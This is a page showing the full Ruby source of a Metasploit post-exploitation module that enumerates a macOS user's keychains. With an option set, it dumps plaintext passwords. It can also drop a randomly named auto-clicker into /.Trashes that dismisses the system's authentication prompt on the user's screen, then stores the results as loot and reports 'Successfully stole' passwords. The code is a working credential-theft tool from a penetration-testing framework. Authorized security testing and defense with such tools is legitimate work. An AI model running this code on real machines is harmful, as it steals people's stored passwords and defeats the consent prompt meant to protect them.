Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/enum_keychain.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::OSX::System
8
include Msf::Exploit::FileDropper
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'OS X Gather Keychain Enumeration',
15
'Description' => %q{
16
This module presents a way to quickly go through the current user's keychains and
17
collect data such as email accounts, servers, and other services. Please note:
18
when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication
19
alert flash briefly on their screen that gets dismissed by a programmatically triggered click.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],
23
'Platform' => [ 'osx' ],
24
'SessionTypes' => [ 'meterpreter', 'shell' ],
25
'Notes' => {
26
'Stability' => [CRASH_SAFE],
27
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
28
'Reliability' => []
29
}
30
)
31
)
32
33
register_options(
34
[
35
OptBool.new('GETPASS', [false, 'Collect passwords.', false]),
36
OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),
37
OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),
38
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
39
]
40
)
41
end
42
43
def list_keychains
44
keychains = cmd_exec('security list')
45
user = cmd_exec('whoami')
46
print_status("The following keychains for #{user.strip} were found:")
47
print_line(keychains.chomp)
48
return keychains =~ /No such file or directory/ ? nil : keychains
49
end
50
51
def enum_accounts(_keychains)
52
cmd_exec('whoami').chomp
53
out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
54
55
accounts = []
56
57
out.split("\n").each do |line|
58
next if line =~ /NULL/
59
60
case line
61
when /"acct"/
62
accounts << Hash.new
63
accounts.last['acct'] = line.split('<blob>=')[1].split('"')[1]
64
when /"srvr"/
65
accounts.last['srvr'] = line.split('<blob>=')[1].split('"')[1]
66
when /"svce"/
67
accounts.last['svce'] = line.split('<blob>=')[1].split('"')[1]
68
when /"desc"/
69
accounts.last['desc'] = line.split('<blob>=')[1].split('"')[1]
70
end
71
end
72
73
accounts
74
end
75
76
def get_passwords(accounts)
77
(1..accounts.count).each do |num|
78
if accounts[num].key?('srvr')
79
c = 'find-internet-password'
80
s = accounts[num]['srvr']
81
else
82
c = 'find-generic-password'
83
s = accounts[num]['svce']
84
end
85
86
cmd = cmd_exec("security #{c} -ga \"#{accounts[num]['acct']}\" -s \"#{s}\" 2>&1")
87
88
cmd.split("\n").each do |line|
89
if line =~ /password: /
90
if line.split[1].nil?
91
accounts[num]['pass'] = nil
92
else
93
accounts[num]['pass'] = line.split[1].gsub('"', '')
94
end
95
end
96
end
97
end
98
return accounts
99
end
100
101
def save(data, kind = 'Keychain information')
102
l = store_loot(
103
'macosx.keychain.info',
104
'plain/text',
105
session,
106
data,
107
'keychain_info.txt',
108
'Mac Keychain Account/Server/Service/Description'
109
)
110
111
print_good("#{@peer} - #{kind} saved in #{l}")
112
end
113
114
def run
115
@peer = "#{session.session_host}:#{session.session_port}"
116
117
keychains = list_keychains
118
if keychains.nil?
119
print_error("#{@peer} - Module timed out, no keychains found.")
120
return
121
end
122
123
cmd_exec('/usr/bin/whoami').chomp
124
accounts = enum_accounts(keychains)
125
save(accounts)
126
127
if datastore['GETPASS']
128
if datastore['GETPASS_AUTO_ACCEPT']
129
print_status("Writing auto-clicker to `#{clicker_file}'")
130
write_file(clicker_file, clicker_bin)
131
register_file_for_cleanup(clicker_file)
132
133
print_status('Dumping keychain with auto-clicker...')
134
passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])
135
save(passwords, 'Plaintext passwords')
136
137
begin
138
count = JSON.parse(passwords).count
139
print_good("Successfully stole #{count} passwords")
140
rescue JSON::ParserError
141
print_error('Response was not valid JSON')
142
end
143
else
144
begin
145
passwords = get_passwords(accounts)
146
rescue StandardError
147
print_error("#{@peer} - Module timed out, no passwords found.")
148
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
149
end
150
save(passwords)
151
end
152
end
153
end
154
155
def clicker_file
156
@clicker_file ||=
157
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
158
end
159
160
def clicker_bin
161
File.read(File.join(
162
Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'
163
))
164
end
165
166
end
167
168